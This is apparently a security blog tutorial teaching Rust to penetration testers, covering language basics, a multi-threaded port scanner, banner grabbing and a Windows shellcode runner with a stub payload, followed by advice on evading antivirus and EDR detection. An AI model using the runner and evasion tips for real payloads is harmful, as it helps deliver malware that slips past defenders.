Greetings, fellow hackers and aspiring pen testers! Today, we will explore the Rust programming language and uncover how this powerful and expressive language can enhance our red teaming and pen-testing adventures. As always, our “Programming Thursdays” aim to provide a wealth of code examples and practical insights into the chosen language. So buckle up, and let’s dive into the world of Rust!

Rust is not just another systems language; it is a paradigm shift. For a red teamer, it offers the performance of C/C++ with the memory safety guarantees that prevent the very vulnerabilities we often exploit. This might seem counterintuitive - why would an attacker use a “safe” language? The answer is simple: stable, high-speed tools that are less likely to crash and burn during a critical operation, combined with binaries that are significantly harder for defenders to analyze than their C# or Python equivalents. The White House’s 2024 cybersecurity strategy explicitly recommended moving to memory-safe languages like Rust, and ironically, the offensive security community has already embraced it.

In this guide, we will cover everything from fundamental syntax to advanced concurrency patterns, and finally land on creating a shellcode runner using the Windows API - safely.


1. Setting Up Your Rust Environment

Before we write any code, let’s get our toolchain set up properly.

Installing Rust

Rust is installed and managed via rustup, a command-line tool for managing Rust versions and associated tools.

Linux/macOS:

1
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Windows:

Download and run the installer from rustup.rs.

After installation, ensure cargo (Rust’s package manager and build tool) is in your path:

1
2
rustc --version
cargo --version

Essential Tools for Offensive Development

1
2
3
4
5
6
# Add the Windows target for cross-compilation from Linux
rustup target add x86_64-pc-windows-gnu

# Install useful components
rustup component add clippy  # Linter
rustup component add rustfmt # Code formatter

For Windows development, you’ll need a linker. On Linux, install mingw-w64:

1
2
3
4
5
# Debian/Ubuntu
sudo apt install mingw-w64

# Arch
sudo pacman -S mingw-w64-gcc

Your First Rust Project

1
2
3
4
cargo new my_offensive_tool
cd my_offensive_tool
cargo build --release
cargo run

The Cargo.toml file manages dependencies, and src/main.rs is where your code lives.


2. Rust Language Fundamentals

Before we can write exploits, we need to understand the basics.

Variables and Mutability

Rust variables are immutable by default. This is a safety feature.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
fn main() {
    let x = 5;           // Immutable by default
    // x = 6;            // ERROR: cannot assign twice to immutable variable

    let mut y = 10;      // Mutable with 'mut' keyword
    y = 20;              // This is allowed

    const MAX_PORTS: u16 = 65535;  // Compile-time constant (SCREAMING_SNAKE_CASE)

    println!("x = {}, y = {}, MAX = {}", x, y, MAX_PORTS);
}

Shadowing

You can declare a new variable with the same name, “shadowing” the previous one. This is useful for type conversions:

1
2
3
4
5
fn main() {
    let spaces = "   ";           // &str (string slice)
    let spaces = spaces.len();    // Now it's usize (integer)
    println!("Number of spaces: {}", spaces);
}

Data Types

Rust is statically typed, meaning the compiler must know all types at compile time.

Scalar Types:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
fn main() {
    // Integers (default is i32)
    let port: u16 = 443;            // Unsigned 16-bit (0 to 65535)
    let offset: i64 = -0x1000;      // Signed 64-bit
    let byte: u8 = 0x90;            // NOP instruction

    // Floats
    let ratio: f64 = 0.75;

    // Boolean
    let is_admin: bool = true;

    // Character (4 bytes, Unicode scalar value)
    let emoji: char = '\u{1F480}';  // Skull emoji

    println!("Port: {}, Is Admin: {}, Char: {}", port, is_admin, emoji);
}

Compound Types:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
fn main() {
    // Tuple: fixed-length, mixed types
    let target: (&str, u16, bool) = ("192.168.1.1", 445, true);
    let (ip, port, is_open) = target;  // Destructuring
    println!("{}:{} - Open: {}", ip, port, is_open);

    // Array: fixed-length, same type (stack allocated)
    let shellcode: [u8; 4] = [0x90, 0x90, 0x90, 0xCC];  // NOPs + INT3
    println!("First byte: 0x{:02X}", shellcode[0]);

    // Vector: dynamic length (heap allocated)
    let mut ports: Vec<u16> = Vec::new();
    ports.push(22);
    ports.push(80);
    ports.push(443);
    println!("Ports to scan: {:?}", ports);
}

Operators

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
fn main() {
    // Arithmetic
    let a = 10 + 5;
    let b = 10 - 5;
    let c = 10 * 5;
    let d = 10 / 3;     // Integer division = 3
    let e = 10 % 3;     // Remainder = 1

    // Comparison (returns bool)
    let equal = (5 == 5);
    let not_equal = (5 != 3);
    let greater = (5 > 3);

    // Logical
    let and = true && false;
    let or = true || false;
    let not = !true;

    // Bitwise (crucial for shellcode and protocol work)
    let xor = 0xAA ^ 0x55;      // XOR encryption
    let and_mask = 0xFF & 0x0F; // Masking
    let shift_left = 1 << 3;    // 8
    let shift_right = 0x80 >> 4; // 0x08

    println!("XOR: 0x{:02X}, Shift: {}", xor, shift_left);
}

Control Structures

If/Else:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
fn check_port(port: u16) {
    if port < 1024 {
        println!("Port {} is privileged (requires root)", port);
    } else if port == 3389 {
        println!("Port {} is RDP - interesting!", port);
    } else {
        println!("Port {} is a high port", port);
    }
}

// Rust's if is an expression - it returns a value
fn get_service(port: u16) -> &'static str {
    if port == 22 { "SSH" } else if port == 80 { "HTTP" } else { "Unknown" }
}

Loops:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
fn main() {
    // Infinite loop with break
    let mut counter = 0;
    let result = loop {
        counter += 1;
        if counter == 10 {
            break counter * 2;  // Returns 20
        }
    };
    println!("Loop result: {}", result);

    // While loop
    let mut n = 3;
    while n != 0 {
        println!("{}...", n);
        n -= 1;
    }
    println!("LIFTOFF!");

    // For loop (most common, very safe)
    let ports = [22, 80, 443, 3389];
    for port in ports.iter() {
        println!("Scanning port {}", port);
    }

    // Range-based for loop
    for port in 1..1024 {  // 1 to 1023 (exclusive)
        // Do something
    }
    for port in 1..=1024 { // 1 to 1024 (inclusive)
        // Do something
    }
}

Functions

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// Function with parameters and return type
fn calculate_checksum(data: &[u8]) -> u32 {
    let mut sum: u32 = 0;
    for byte in data {
        sum = sum.wrapping_add(*byte as u32);  // Prevent overflow panic
    }
    sum  // No semicolon = implicit return
}

fn main() {
    let payload: [u8; 4] = [0x90, 0x90, 0xCC, 0xC3];
    let checksum = calculate_checksum(&payload);
    println!("Checksum: 0x{:08X}", checksum);
}

3. The Core Secret: Ownership and Borrowing

The single most important concept in Rust is Ownership. It is how Rust manages memory without a garbage collector. This is why Rust binaries are fast and predictable - no GC pauses during your time-sensitive exploit.

The Rules of Ownership

  1. Each value in Rust has a variable that’s called its owner.
  2. There can only be one owner at a time.
  3. When the owner goes out of scope, the value is dropped (deallocated).

Moving vs. Copying

Simple scalar types (integers, floats, booleans) implement the Copy trait and are copied on assignment. Complex types (String, Vec, etc.) are moved.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
fn main() {
    // Copy semantics (stack-only data)
    let x: i32 = 5;
    let y = x;      // x is COPIED, both are valid
    println!("x = {}, y = {}", x, y);  // Works!

    // Move semantics (heap data)
    let s1 = String::from("payload");
    let s2 = s1;    // s1 is MOVED to s2, s1 is now INVALID
    // println!("{}", s1);  // ERROR: borrow of moved value
    println!("{}", s2);  // Works!
}

Borrowing with References

To use a value without taking ownership, you borrow it using a reference (&).

1
2
3
4
5
6
7
8
9
fn main() {
    let s1 = String::from("payload");
    let len = calculate_length(&s1);  // Pass a reference
    println!("'{}' has {} bytes", s1, len);  // s1 is still valid!
}

fn calculate_length(s: &String) -> usize {
    s.len()  // We can read s, but not modify it
}

Mutable Borrowing

To modify a borrowed value, you need a mutable reference (&mut).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
fn main() {
    let mut buffer = String::from("GET /");
    append_host(&mut buffer, "target.com");
    println!("{}", buffer);  // "GET / HTTP/1.1\r\nHost: target.com"
}

fn append_host(request: &mut String, host: &str) {
    request.push_str(" HTTP/1.1\r\nHost: ");
    request.push_str(host);
}

The Borrowing Rules:

  1. You can have either one mutable reference or any number of immutable references.
  2. References must always be valid (no dangling pointers).

These rules prevent Data Races at compile time. This is why Rust guarantees “Fearless Concurrency.”

Why This Matters for Security

Ownership and Borrowing prevent:

  • Use After Free: The compiler won’t let you use a value after it’s been dropped.
  • Double Free: Only one owner can drop a value.
  • Data Races: Mutable and immutable references cannot coexist.

These are the root causes of most memory corruption exploits. Rust makes them impossible in safe code.


4. Advanced Patterns: Pattern Matching and Enums

Rust’s match statement is like a switch on steroids. Combined with Enums, it allows for extremely clean logic, crucial when parsing protocols or exploit responses.

Enums with Data

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
enum ScanResult {
    Open(u16),              // Port number
    Closed(u16),
    Filtered(u16),
    Error(u16, String),     // Port and error message
}

fn handle_result(result: ScanResult) {
    match result {
        ScanResult::Open(port) => println!("[+] Port {} is OPEN", port),
        ScanResult::Closed(port) => println!("[-] Port {} is closed", port),
        ScanResult::Filtered(port) => println!("[?] Port {} is filtered", port),
        ScanResult::Error(port, msg) => eprintln!("[!] Port {} error: {}", port, msg),
    }
}

The Option Type

Rust does not have null. Instead, it uses Option<T> to represent values that might be absent.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fn find_service(port: u16) -> Option<&'static str> {
    match port {
        22 => Some("SSH"),
        80 => Some("HTTP"),
        443 => Some("HTTPS"),
        445 => Some("SMB"),
        3389 => Some("RDP"),
        _ => None,
    }
}

fn main() {
    let port = 445;
    match find_service(port) {
        Some(service) => println!("Port {} -> {}", port, service),
        None => println!("Port {} -> Unknown service", port),
    }

    // Or use if-let for simpler cases
    if let Some(svc) = find_service(22) {
        println!("SSH detected: {}", svc);
    }
}

The Result Type and Error Handling

Rust does not have exceptions. It uses Result<T, E> to represent operations that can fail.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
use std::fs::File;
use std::io::{self, Read};

fn read_wordlist(path: &str) -> Result<String, io::Error> {
    let mut file = File::open(path)?;  // ? propagates error if open fails
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;
    Ok(contents)
}

fn main() {
    match read_wordlist("/usr/share/wordlists/rockyou.txt") {
        Ok(data) => println!("Loaded {} bytes", data.len()),
        Err(e) => eprintln!("Failed to load wordlist: {}", e),
    }
}

The ? operator is syntactic sugar for early return on error. It’s the idiomatic way to handle errors in Rust and keeps your code clean.


5. Structs and Implementations

Structs are Rust’s way of creating custom data types with named fields.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct Target {
    ip: String,
    hostname: Option<String>,
    ports: Vec<u16>,
    is_dc: bool,
}

impl Target {
    // Associated function (like a static method or constructor)
    fn new(ip: &str) -> Self {
        Target {
            ip: ip.to_string(),
            hostname: None,
            ports: Vec::new(),
            is_dc: false,
        }
    }

    // Method (takes &self or &mut self)
    fn add_port(&mut self, port: u16) {
        if !self.ports.contains(&port) {
            self.ports.push(port);
        }
    }

    fn has_smb(&self) -> bool {
        self.ports.contains(&445)
    }

    fn display(&self) {
        let name = self.hostname.as_deref().unwrap_or("Unknown");
        println!("[Target: {} ({})]", self.ip, name);
        println!("  Ports: {:?}", self.ports);
        println!("  Is DC: {}", self.is_dc);
    }
}

fn main() {
    let mut target = Target::new("192.168.1.10");
    target.hostname = Some("DC01.corp.local".to_string());
    target.add_port(445);
    target.add_port(88);
    target.add_port(389);
    target.is_dc = true;

    target.display();

    if target.has_smb() {
        println!("[+] SMB is open - consider relay attacks!");
    }
}

6. Concurrency: A Multi-Threaded Port Scanner

Rust guarantees “Fearless Concurrency.” It prevents data races at compile time through its ownership system. Let’s build a practical tool.

Basic Threading with Channels

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::mpsc::{channel, Sender};
use std::thread;
use std::time::Duration;

fn scan_port(tx: Sender<u16>, ip: IpAddr, port: u16) {
    let addr = SocketAddr::new(ip, port);
    // Timeout is critical for network scanning
    if TcpStream::connect_timeout(&addr, Duration::from_millis(200)).is_ok() {
        // Send the open port back to the main thread
        tx.send(port).expect("Channel send failed");
    }
}

fn main() {
    let target: IpAddr = "127.0.0.1".parse().expect("Invalid IP");
    let (tx, rx) = channel();  // Multi-producer, single-consumer channel

    let mut handles = Vec::new();

    // Scan first 1024 ports
    for port in 1..=1024 {
        let tx_clone = tx.clone();
        let handle = thread::spawn(move || {
            scan_port(tx_clone, target, port);
        });
        handles.push(handle);
    }

    // Drop original sender so receiver knows when to stop
    drop(tx);

    // Wait for all threads to complete
    for handle in handles {
        handle.join().expect("Thread panicked");
    }

    // Collect and print results
    println!("\n[+] Open Ports:");
    let mut open_ports: Vec<u16> = rx.iter().collect();
    open_ports.sort();
    for port in open_ports {
        println!("    {}", port);
    }
}

Thread Pooling with rayon

Spawning a thread per port is inefficient for 65k ports. Use a thread pool:

1
2
3
# Cargo.toml
[dependencies]
rayon = "1.8"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
use rayon::prelude::*;
use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::Mutex;
use std::time::Duration;

fn main() {
    let target: IpAddr = "127.0.0.1".parse().unwrap();
    let open_ports = Mutex::new(Vec::new());

    // Parallel iteration over all ports
    (1..=65535_u16).into_par_iter().for_each(|port| {
        let addr = SocketAddr::new(target, port);
        if TcpStream::connect_timeout(&addr, Duration::from_millis(100)).is_ok() {
            open_ports.lock().unwrap().push(port);
        }
    });

    let mut results = open_ports.into_inner().unwrap();
    results.sort();

    println!("[+] Open Ports on {}:", target);
    for port in results {
        println!("    {}", port);
    }
}

The rayon crate handles thread pool management, work stealing, and load balancing automatically. This is production-quality parallelism in about 15 lines of code.


7. Networking: TCP and HTTP Clients

For red team tools, we often need low-level network access.

Raw TCP Client

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;

fn grab_banner(ip: &str, port: u16) -> Result<String, Box<dyn std::error::Error>> {
    let addr = format!("{}:{}", ip, port);
    let mut stream = TcpStream::connect_timeout(
        &addr.parse()?,
        Duration::from_secs(5)
    )?;

    stream.set_read_timeout(Some(Duration::from_secs(3)))?;

    // Some services send a banner immediately (SSH, FTP, SMTP)
    let mut buffer = [0u8; 1024];
    let n = stream.read(&mut buffer)?;

    Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}

fn main() {
    match grab_banner("127.0.0.1", 22) {
        Ok(banner) => println!("[+] SSH Banner:\n{}", banner.trim()),
        Err(e) => eprintln!("[-] Error: {}", e),
    }
}

HTTP Client with reqwest

For higher-level HTTP work, use the reqwest crate:

1
2
3
# Cargo.toml
[dependencies]
reqwest = { version = "0.11", features = ["blocking"] }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
use reqwest::blocking::Client;
use std::time::Duration;

fn check_url(url: &str) -> Result<(u16, usize), reqwest::Error> {
    let client = Client::builder()
        .timeout(Duration::from_secs(10))
        .danger_accept_invalid_certs(true)  // Ignore TLS errors for internal testing
        .build()?;

    let resp = client.get(url).send()?;
    let status = resp.status().as_u16();
    let body = resp.text()?;

    Ok((status, body.len()))
}

fn main() {
    let urls = vec![
        "http://localhost/",
        "http://localhost/admin",
        "http://localhost/robots.txt",
    ];

    for url in urls {
        match check_url(url) {
            Ok((status, len)) => println!("[{}] {} ({} bytes)", status, url, len),
            Err(_) => println!("[ERR] {}", url),
        }
    }
}

8. Red Team Special: Unsafe Rust and Windows API

Sometimes, you need to bypass Rust’s safety checks to interact directly with the OS kernel, manipulate raw memory, or call foreign functions. This is where unsafe blocks come in.

What is unsafe?

The unsafe keyword unlocks four abilities:

  1. Dereference a raw pointer.
  2. Call an unsafe function or method.
  3. Access or modify a mutable static variable.
  4. Implement an unsafe trait.

unsafe does not turn off the borrow checker. It just allows you to do things the compiler cannot verify.

The windows Crate

Microsoft officially supports Rust on Windows and publishes the windows crate, which provides safe (and unsafe) bindings to the entire Windows API.

1
2
3
4
5
6
7
# Cargo.toml
[dependencies]
windows = { version = "0.58", features = [
  "Win32_Foundation",
  "Win32_System_Memory",
  "Win32_System_Threading",
] }

Shellcode Runner (Proof of Concept)

This example allocates executable memory, copies shellcode, and runs it. This is a fundamental technique for malware development.

[!WARNING] This is for educational purposes on systems you own or have explicit authorization to test. Deploying malware without authorization is illegal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#![cfg(target_os = "windows")]

use std::ptr;
use windows::Win32::System::Memory::{
    VirtualAlloc, VirtualProtect,
    MEM_COMMIT, MEM_RESERVE,
    PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS,
};

/// Allocates memory, copies shellcode, and executes it.
/// Uses RW -> RX flip to avoid RWX pages (EDR red flag).
fn execute_shellcode(shellcode: &[u8]) -> Result<(), &'static str> {
    unsafe {
        // 1. Allocate Read-Write memory
        let addr = VirtualAlloc(
            None,                           // Let the system choose the address
            shellcode.len(),                // Size of the allocation
            MEM_COMMIT | MEM_RESERVE,       // Commit and reserve pages
            PAGE_READWRITE,                 // Start with RW (not executable)
        );

        if addr.is_null() {
            return Err("VirtualAlloc failed");
        }

        // 2. Copy shellcode into the allocated memory
        ptr::copy_nonoverlapping(
            shellcode.as_ptr(),
            addr as *mut u8,
            shellcode.len(),
        );

        // 3. Change protection from RW to RX
        // This avoids the RWX red flag that EDRs look for
        let mut old_protect = PAGE_PROTECTION_FLAGS::default();
        let protect_result = VirtualProtect(
            addr,
            shellcode.len(),
            PAGE_EXECUTE_READ,
            &mut old_protect,
        );

        if protect_result.is_err() {
            return Err("VirtualProtect failed");
        }

        // 4. Cast memory to a function pointer and execute
        let exec_fn: extern "system" fn() = std::mem::transmute(addr);
        exec_fn();

        Ok(())
    }
}

fn main() {
    // Example: x64 Windows shellcode for calc.exe (replace with your payload)
    // This is a stub - real shellcode would be generated by msfvenom or similar
    let shellcode: [u8; 4] = [
        0x90,  // NOP
        0x90,  // NOP
        0xCC,  // INT3 (breakpoint - for debugging)
        0xC3,  // RET
    ];

    println!("[*] Allocating memory and executing shellcode...");
    match execute_shellcode(&shellcode) {
        Ok(()) => println!("[+] Shellcode executed successfully"),
        Err(e) => eprintln!("[-] Error: {}", e),
    }
}

Key OpSec Considerations

  1. Avoid RWX Pages: The example above uses PAGE_READWRITE for copying, then VirtualProtect to flip to PAGE_EXECUTE_READ. This is stealthier than allocating PAGE_EXECUTE_READWRITE directly.
  2. Encrypt Your Shellcode: Embed encrypted shellcode and decrypt it in memory before execution to evade static signature detection.
  3. Syscall Evasion: EDRs hook user-mode API calls. Advanced techniques call NtAllocateVirtualMemory directly or use direct syscalls.
  4. Compilation Profile: Use --release for optimized binaries and consider stripping symbols.

9. The Ecosystem: Cargo and Offensive Tools

Rust’s package manager, Cargo, is widely considered the best in any language ecosystem. Combined with crates.io (the package registry), you can add powerful functionality with a single line in Cargo.toml.

Useful Crates for Offensive Development

CratePurpose
reqwestHTTP client (sync and async)
tokioAsync runtime for high-performance I/O
clapCommand-line argument parsing
serde / serde_jsonSerialization/deserialization
rayonData parallelism (thread pools)
windowsOfficial Windows API bindings
nixUnix/Linux system calls
pcapPacket capture
dns-lookupDNS resolution
base64 / hexEncoding utilities
ring / aes-gcmCryptography
goblinPE/ELF/Mach-O binary parsing

Notable Offensive Rust Projects

  1. RustScan: The modern port scanner. Claims to scan 65k ports in seconds by adaptively adjusting ulimit and using async I/O.
  2. Feroxbuster: A high-speed recursive content discovery tool (directory busting). Significantly faster than dirb or gobuster.
  3. Ripgrep (rg): Not strictly offensive, but the fastest grepping tool alive. Invaluable for log analysis and codebase searching.
  4. Haylxon: High-performance screenshot tool for web reconnaissance.
  5. RustRedOps: A repository of advanced offensive techniques implemented in Rust, including process injection, syscall evasion, and more.
  6. Sliver: While the primary codebase is Go, Sliver’s implant generation supports Rust for stealthier agents.

10. Cross-Compilation

One of Rust’s strengths is its excellent cross-compilation support. You can build Windows executables from Linux.

Setup

1
2
3
4
5
# Add Windows target
rustup target add x86_64-pc-windows-gnu

# Install the linker
sudo apt install mingw-w64

Build

1
cargo build --release --target x86_64-pc-windows-gnu

Your executable will be in target/x86_64-pc-windows-gnu/release/.

Optimizing Binary Size

Rust binaries can be large due to static linking and debug info. Add this to Cargo.toml:

1
2
3
4
5
6
[profile.release]
opt-level = "z"   # Optimize for size
lto = true        # Link-Time Optimization
codegen-units = 1 # Single codegen unit for better optimization
panic = "abort"   # No unwinding (smaller binary)
strip = true      # Strip symbols

Then install and use upx for additional compression:

1
upx --best target/release/your_tool.exe

11. Pros and Cons for Red Teamers

FeatureRustC/C++PythonGo
PerformanceExcellentExcellentPoorGood
Memory SafetyCompile-timeManualManagedManaged (GC)
Binary SizeMedium-LargeSmallN/A (Interpreter)Large
Cross-CompilationExcellentDifficultN/AExcellent
AV/EDR EvasionGood (novel sigs)GoodPoor (known tools)Good
Learning CurveVery SteepHighLowModerate
Async I/OExcellentDifficultGood (asyncio)Excellent
Windows APIExcellent (windows crate)NativePoorGood
Best Use CaseAgents, Exploit DevShellcode, OS DevScriptingImplants, Tooling

Why Rust for Malware?

  1. Novel Signatures: Most AV/EDR signatures are built around C, C++, C#, and PowerShell patterns. Rust compiles differently, and its standard library is less “known” to signature engines.
  2. Stability: Memory safety means your implant is less likely to crash during a critical operation.
  3. Performance: Async I/O with tokio enables C2 agents that can handle thousands of concurrent connections.
  4. Obfuscation: The compiled output is harder to reverse-engineer than C# or Go.

Conclusion

Rust is the language of the future for offensive security. It provides the low-level control of C with the modern abstractions and safety guarantees of high-level languages. For malware development, it is rapidly becoming a favorite because identifying signatures in compiled Rust binaries is significantly harder for AV/EDR than analyzing C# or PowerShell.

By mastering Ownership, Borrowing, and the unsafe keyword, you can build tools that are not only faster than the competition but more reliable in the field. The learning curve is steep - the borrow checker will fight you at first - but the payoff is immense.

Happy coding, and happy hacking!


References